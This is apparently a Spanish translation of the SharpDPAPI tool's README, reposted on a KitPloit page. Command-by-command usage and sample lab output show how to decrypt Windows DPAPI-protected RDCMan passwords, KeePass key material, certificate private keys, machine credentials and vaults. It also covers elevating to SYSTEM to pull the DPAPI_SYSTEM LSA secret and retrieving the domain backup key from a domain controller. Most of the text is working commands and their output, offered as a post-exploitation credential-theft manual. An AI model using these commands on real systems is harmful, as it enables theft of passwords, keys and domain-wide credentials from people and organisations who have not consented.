    ArchivoRDCMan    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Acceso      : 5/9/2019 11:52:58 AM
    Modificado      : 5/9/2019 11:52:58 AM
    Servidor reciente : test\primary.testlab.local

        Perfiles de credenciales

          Nombre de perfil : testprofile
            NombreUsuario   : testlab.local\dfm
            Contraseña   : Password123!

        Credenciales de inicio de sesión predeterminadas

          Nombre de perfil : Custom
            NombreUsuario   : TESTLAB\harmj0y
            Contraseña   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servidores

          Nombre         : secondary.testlab.local

          Nombre         : primary.testlab.local
          Nombre de perfil : Custom
            NombreUsuario   : TESTLAB\dfm.a
            Contraseña   : Password123!

Usando una clave de respaldo DPAPI de dominio para descifrar primero las claves maestras detectables:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Acción: Clasificación RDG

[*] ¡Usando una clave de respaldo DPAPI de dominio para procesar claves maestras para asignaciones de claves de descifrado!

[*] Caché de claves maestras de usuario:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Procesando archivos RDCMan.settings para TODOS los usuarios

    ArchivoRDCMan    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Acceso      : 5/9/2019 11:52:58 AM
    Modificado      : 5/9/2019 11:52:58 AM
    Servidor reciente : test\primary.testlab.local

        Perfiles de credenciales

          Nombre de perfil : testprofile
            NombreUsuario   : testlab.local\dfm.a
            Contraseña   : Password123!

        Credenciales de inicio de sesión predeterminadas

          Nombre de perfil : Custom
            NombreUsuario   : TESTLAB\harmj0y
            Contraseña   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servidores

          Nombre         : secondary.testlab.local

          Nombre         : primary.testlab.local
          Nombre de perfil : Custom
            NombreUsuario   : TESTLAB\dfm.a
            Contraseña   : Password123!

keepass

El comando keepass buscará archivos KeePass ProtectedUserKey.bin para el usuario actual (o si está elevado, para todos los usuarios) y, o bien a) los descifrará con cualquier clave maestra "{GUID}:SHA1" proporcionada, b) con un /mkfile:ARCHIVO de una o más asignaciones de claves maestras {GUID}:SHA1, c) usará una clave de respaldo DPAPI de dominio proporcionada (/pvk:BASE64... o /pvk:clave.pvk) para descifrar primero las claves maestras de los usuarios (como en masterkeys), o d) una /contraseña:X para descifrar las claves maestras de los usuarios que luego se utilizan como tabla de descifrado de búsqueda. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando sekurlsa::dpapi de Mimikatz.

El indicador /unprotect usará CryptUnprotectData() para descifrar los bytes de la clave, si el comando se ejecuta desde el contexto del usuario que guardó las contraseñas. Esto se puede hacer desde un contexto no privilegiado, sin necesidad de tocar LSASS. Para saber por qué este enfoque no se utiliza para credenciales/bóvedas, consulte la documentación de Benjamin aquí.

Se puede especificar un archivo ProtectedUserKey.bin específico, un archivo .RDC (o una carpeta de archivos .RDG) con /target:ARCHIVO o /target:C:\Carpeta\. Si se especifica un archivo, se requieren valores {GUID}:SHA1 (o /unprotect), y si se especifica una carpeta, se deben proporcionar a) valores {GUID}:SHA1 o b) la carpeta debe contener claves maestras DPAPI y se debe proporcionar una clave de respaldo de dominio /pvk.

Los bytes del archivo de clave descifrados se pueden usar con la versión modificada de KeePass en KeeThief.

Usando /unprotect para descifrar cualquier material de clave encontrado:

root@kitploit:~
C:\Temp> SharpDPAPI.exe  keepass /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Acción: Clasificación KeePass

[*] Usando CryptUnprotectData() para el descifrado.

[*] Procesando archivos KeePass ProtectedUserKey.bin para el usuario actual

    Archivo             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Acceso         : 3/1/2021 1:38:22 PM
    Modificado         : 1/4/2021 5:49:49 PM
    guidClaveMaestra    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    tamaño             : 210
    banderas            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    descripción      :
    Bytes de clave        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completado en 00:00:00.0566660

certificates

El comando certificates buscará claves privadas de certificados DPAPI cifradas por el usuario. O bien a) las descifrará con cualquier clave maestra "{GUID}:SHA1" proporcionada, b) con un /mkfile:ARCHIVO de una o más asignaciones de claves maestras {GUID}:SHA1, c) usará una clave de respaldo DPAPI de dominio proporcionada (/pvk:BASE64... o /pvk:clave.pvk) para descifrar primero las claves maestras de los usuarios (como en masterkeys), o d) una /contraseña:X para descifrar las claves maestras de los usuarios, que luego se utilizan como tabla de descifrado de búsqueda. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando sekurlsa::dpapi de Mimikatz.

El indicador /unprotect usará CryptUnprotectData() para descifrar las claves privadas, si el comando se ejecuta desde el contexto del usuario cuyos certificados está intentando acceder. Esto se puede hacer desde un contexto no privilegiado, sin necesidad de tocar LSASS. Para saber por qué este enfoque no se utiliza para credenciales/bóvedas, consulte la documentación de Benjamin aquí.

Se puede especificar un certificado específico con /target:ARCHIVO o /target:C:\Carpeta\. En ambos casos, se requieren valores {GUID}:SHA1 (o /unprotect) o b) la carpeta debe contener claves maestras DPAPI y se debe proporcionar una clave de respaldo de dominio /pvk.

De forma predeterminada, solo se muestran las claves privadas que se pueden vincular a un certificado instalado asociado. El comando /showall mostrará TODAS las claves privadas descifradas.

Use el indicador /cng para claves privadas CNG (capi es el valor predeterminado).

Usando asignaciones de claves maestras {GUID}:SHA1 de dominio:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Acción: Clasificación de certificados

Carpeta       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  Archivo               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    GUID del proveedor    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    GUID de clave maestra  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Descripción      : Clave privada CryptoAPI
    algCrypt         : CALG_3DES (longitudClave 192)
    algHash          : CALG_SHA (32772)
    Sal             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Nombre único      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daHuella digital : 98A03BC583861DCC19045758C0E0C05162091B6C
    Emisor           : CN=theshire-DC-CA, DC=theshire, DC=local
    Sujeto          : CN=harmj0y
    Fecha de validez       : 2/22/2021 2:19:02 PM
    Fecha de expiración      : 2/22/2022 2:19:02 PM
    Usos mejorados de clave:
        Autenticación de cliente (1.3.6.1.5.5.7.3.2)
         [!] ¡El certificado se usa para autenticación de cliente!
        Correo electrónico seguro (1.3.6.1.5.5.7.3.4)
        Sistema de archivos de cifrado (1.3.6.1.4.1.311.10.3.4)

    [*] El archivo de clave privada 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 fue recuperado:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

Usando /unprotect para descifrar cualquier certificado de usuario encontrado:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Acción: Clasificación de certificados

[*] Usando CryptUnprotectData() para descifrado.


Carpeta       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  Archivo               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    GUID del proveedor    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    GUID de clave maestra  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    Descripción      : Clave privada
    algCrypt         : CALG_AES_256 (keyLen 256)
    algHash          : CALG_SHA_512 (32782)
    Sal             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    Nombre único      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    Huella digital       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    Emisor           : CN=theshire-DC-CA, DC=theshire, DC=local
    Sujeto          : CN=harmj0y
    Fecha de validez       : 10/18/2022 11:40:07 AM
    Fecha de expiración      : 10/18/2023 12:00:07 PM
    Usos mejorados de clave:
        Autenticación de cliente (1.3.6.1.5.5.7.3.2)
         [!] ¡El certificado se usa para autenticación de cliente!
        Autenticación de servidor (1.3.6.1.5.5.7.3.1)

    [*] El archivo de clave privada f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b fue recuperado:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

Usando una clave de respaldo DPAPI de dominio para descifrar primero cualquier clave maestra descubrible:

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Acción: Clasificación de certificados
[*] Usando una clave de respaldo DPAPI de dominio para clasificar claves maestras para asignaciones de claves de descifrado.


[*] Caché de clave maestra de usuario:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Carpeta       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  Archivo               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    GUID del proveedor    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    GUID de clave maestra  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Descripción      : Clave privada CryptoAPI
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Sal             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Nombre único      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    Huella digital       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Emisor           : CN=theshire-DC-CA, DC=theshire, DC=local
    Sujeto          : CN=harmj0y
    Fecha de validez       : 2/22/2021 2:19:02 PM
    Fecha de expiración      : 2/22/2022 2:19:02 PM
    Usos mejorados de clave:
        Autenticación de cliente (1.3.6.1.5.5.7.3.2)
         [!] ¡El certificado se usa para autenticación de cliente!
        Correo electrónico seguro (1.3.6.1.5.5.7.3.4)
        Sistema de archivos de cifrado (1.3.6.1.4.1.311.10.3.4)

    [*] El archivo de clave privada 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 fue recuperado:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

El comando triage ejecuta los comandos credentials, vaults, rdg y certificates del usuario.

Clasificación de máquina

machinemasterkeys

El comando machinemasterkeys se elevará a SYSTEM para recuperar el secreto LSA de DPAPI_SYSTEM, que luego se usa para descifrar cualquier clave maestra DPAPI de máquina encontrada. Devolverá un conjunto de asignaciones de clave maestra {GUID}:SHA1.

Se necesitan derechos administrativos locales (para poder recuperar el secreto LSA de DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Clasificación de archivos de clave maestra DPAPI de máquina

[*] Elevando a SYSTEM mediante duplicación de token para recuperación de secreto LSA
[*] RevertToSelf()

[*] Secreto  : DPAPI_SYSTEM
[*]    completo: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] Caché de clave maestra SYSTEM:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

El comando machinecredentials se elevará a SYSTEM para recuperar el secreto LSA de DPAPI_SYSTEM, que luego se usa para descifrar cualquier clave maestra DPAPI de máquina encontrada. Estas claves luego se usan para descifrar cualquier archivo de Credencial de máquina encontrado.

Se necesitan derechos administrativos locales (para poder recuperar el secreto LSA de DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Clasificación de credenciales DPAPI de máquina

[*] Elevando a SYSTEM mediante duplicación de token para recuperación de secreto LSA
[*] RevertToSelf()

[*] Secreto  : DPAPI_SYSTEM
[*]    completo: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] Caché de clave maestra SYSTEM:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Clasificando credenciales del sistema


Carpeta       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  ArchCred           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    tamaño             : 544
    banderas            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    descripción      : Datos de credencial local

    Última escritura      : 3/24/2019 7:08:43 PM
    Nombre de destino       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    Alias de destino      :
    Comentario          :
    Nombre de usuario         : TESTLAB\harmj0y
    Credencial       : Password123!


Carpeta       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  ArchCred           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

El comando machinevaults se elevará a SYSTEM para recuperar el secreto LSA de DPAPI_SYSTEM, que luego se usa para descifrar cualquier clave maestra DPAPI de máquina encontrada. Estas claves luego se usan para descifrar cualquier bóveda de máquina encontrada.

Se necesitan derechos administrativos locales (para poder recuperar el secreto LSA de DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Acción: Clasificación de bóvedas DPAPI de máquina

[*] Elevando a SYSTEM mediante duplicación de token para recuperación de secreto LSA
[*] RevertToSelf()

[*] Secreto  : DPAPI_SYSTEM
[*]    completo: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] Caché de clave maestra SYSTEM:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Clasificando bóvedas SYSTEM


[*] Clasificando carpeta de bóvedas: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Nombre               : Credenciales web
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    tamaño             : 324
    banderas            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    descripción      :
    clave aes128       : 74CE3D7BCC4D0C4734931041F6D00D09
    clave aes256       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

El comando certificates /machine usará el almacén de certificados de máquina para buscar claves privadas de certificados de máquina descifrables. /mkfile:X y {GUID}:masterkey se pueden usar con el comando /target:\[file|folder\]; de lo contrario, SharpDPAPI se elevará a SYSTEM para recuperar el secreto LSA de DPAPI_SYSTEM, que luego se usa para descifrar cualquier clave maestra DPAPI de máquina encontrada. Estas claves luego se usan para descifrar cualquier clave privada de certificado DPAPI cifrada de máquina encontrada.

Por defecto, solo se muestran las claves privadas vinculables a un certificado instalado asociado. El comando /showall mostrará TODAS las claves privadas descifradas.

Se necesitan derechos administrativos locales (para poder recuperar el secreto LSA de DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /machine

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Acción: Clasificación de certificados
[*] Elevando a SYSTEM mediante duplicación de token para recuperación de secreto LSA
[*] RevertToSelf()

[*] Secreto  : DPAPI_SYSTEM
[*]    completo: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] Caché de clave maestra SYSTEM:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Clasificando certificados del sistema


Carpeta       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  Archivo               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    GUID del proveedor    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    GUID de clave maestra  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    Descripción      : Clave privada CryptoAPI
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Sal             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    Nombre único      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    Huella digital       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    Emisor           : CN=theshire-DC-CA, DC=theshire, DC=local
    Sujeto          : CN=dev.theshire.local
    Fecha de validez       : 2/22/2021 3:50:43 PM
    Fecha de expiración      : 2/22/2022 3:50:43 PM
    Usos mejorados de clave:
        Autenticación de cliente (1.3.6.1.5.5.7.3.2)
         [!] ¡El certificado se usa para autenticación de cliente!
        Autenticación de servidor (1.3.6.1.5.5.7.3.1)

    [*] El archivo de clave privada 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 fue recuperado:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

El comando machinetriage ejecuta los comandos machinecredentials, machinevaults y certificates /machine.

Varios

ps

El comando ps describirá/descifrará un clixml de PSCredential exportado. Se debe proporcionar un /target:FILE.xml.

El comando hará lo siguiente: a) descifrar el archivo con cualquier asignación de clave maestra "{GUID}:SHA1" pasada, b) un /mkfile:FILE de una o más asignaciones de clave maestra {GUID}:SHA1, c) usar una clave de respaldo DPAPI de dominio proporcionada (/pvk:BASE64... o /pvk:key.pvk) para descifrar primero cualquier clave maestra de usuario (al estilo de masterkeys), o d) un /password:X para descifrar cualquier clave maestra de usuario, que luego se usa como tabla de búsqueda de descifrado. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando sekurlsa::dpapi de Mimikatz.

La bandera /unprotect usará CryptUnprotectData() para descifrar el .xml de credencial sin necesidad de claves maestras, si el comando se ejecuta desde el contexto del usuario que guardó las contraseñas. Esto se puede hacer desde un contexto sin privilegios, sin necesidad de tocar LSASS. Para saber por qué este enfoque no se usa para credenciales/bóvedas, consulte la documentación de Benjamin aquí.

Descifrar un .xml de credencial exportado usando CryptProtectData() (la bandera /unprotect):

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Acción: Describir PSCredential .xml

    CredFile         : C:\Temp\cred.xml
    Accedido         : 7/25/2019 11:53:09 AM
    Modificado         : 7/25/2019 11:53:09 AM
    Nombre de usuario        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    tamaño             : 170
    banderas            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    descripción      :
    Contraseña         : Password123!

Usando asignaciones de clave maestra de dominio {GUID}:SHA1:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Acción: Describir PSCredential .xml

[*] Usando una clave de respaldo DPAPI de dominio para clasificar claves maestras para asignaciones de claves de descifrado.

[*] Caché de clave maestra de usuario:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accedido         : 7/25/2019 12:04:12 PM
    Modificado         : 7/25/2019 12:04:12 PM
    Nombre de usuario        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    tamaño             : 170
    banderas            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    descripción      :
    Contraseña         : Password123!

Usando una clave de respaldo DPAPI de dominio para descifrar primero cualquier clave maestra descubrible:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Acción: Describir PSCredential .xml

[*] Usando una clave de respaldo DPAPI de dominio para clasificar claves maestras para asignaciones de claves de descifrado.

[*] Caché de clave maestra de usuario:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accedido         : 7/25/2019 12:04:12 PM
    Modificado         : 7/25/2019 12:04:12 PM
    Nombre de usuario        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    tamaño             : 170
    banderas            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    descripción      :
    Contraseña         : Password123!

blob

El comando blob describirá/descifrará un blob DPAPI. Se debe proporcionar un /target:<BASE64|blob.bin>.

El comando hará lo siguiente: a) descifrar el blob con cualquier asignación de clave maestra "{GUID}:SHA1" pasada, b) un /mkfile:FILE de una o más asignaciones de clave maestra {GUID}:SHA1, c) usar una clave de respaldo DPAPI de dominio proporcionada (/pvk:BASE64... o /pvk:key.pvk) para descifrar primero cualquier clave maestra de usuario (al estilo de masterkeys), o d) un /password:X para descifrar cualquier clave maestra de usuario, que luego se usa como tabla de búsqueda de descifrado. Las asignaciones de GUID de DPAPI se pueden recuperar con el comando sekurlsa::dpapi de Mimikatz.

La bandera /unprotect usará CryptUnprotectData() para descifrar el blob sin necesidad de claves maestras, si el comando se ejecuta desde el contexto del usuario que guardó las contraseñas. Esto se puede hacer desde un contexto sin privilegios, sin necesidad de tocar LSASS. Para saber por qué este enfoque no se usa para credenciales/bóvedas, consulte la documentación de Benjamin aquí.

Descifrar un blob usando CryptProtectData() (la bandera /unprotect):

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Acción: Describir blob DPAPI

[*] Usando CryptUnprotectData() para descifrado.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    tamaño             : 170
    banderas            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    descripción      :
    dec(blob)        : Password123!

Usando asignaciones de clave maestra de dominio {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Acción: Describir blob DPAPI

[*] Usando CryptUnprotectData() para descifrado.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

Usando una clave de respaldo DPAPI del dominio para descifrar primero cualquier clave maestra descubrible:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Acción: Describir blob DPAPI

[*] Usando una clave de respaldo DPAPI del dominio para clasificar claves maestras para mapeos de claves de descifrado!

[*] Caché de clave maestra de usuario:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

backupkey

El comando backupkey recuperará la clave de respaldo DPAPI del dominio de un controlador de dominio usando el enfoque de API LsaRetrievePrivateData de Mimikatz. Esta clave privada se puede usar para descifrar blobs de clave maestra de cualquier usuario en el dominio. Y aún mejor, ¡la clave nunca cambia ;)

Se necesitan derechos de administrador de dominio (o equivalentes) para recuperar la clave de un controlador de dominio remoto.

El indicador /nowrap evitará el ajuste de la clave base64 en la visualización.

Este blob de clave base64 se puede decodificar a un archivo .pvk binario que luego se puede usar con el módulo dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk de Mimikatz, o usarse en forma de blob/file /pvk:X con los comandos masterkeys, credentials o vault de SharpDPAPI.

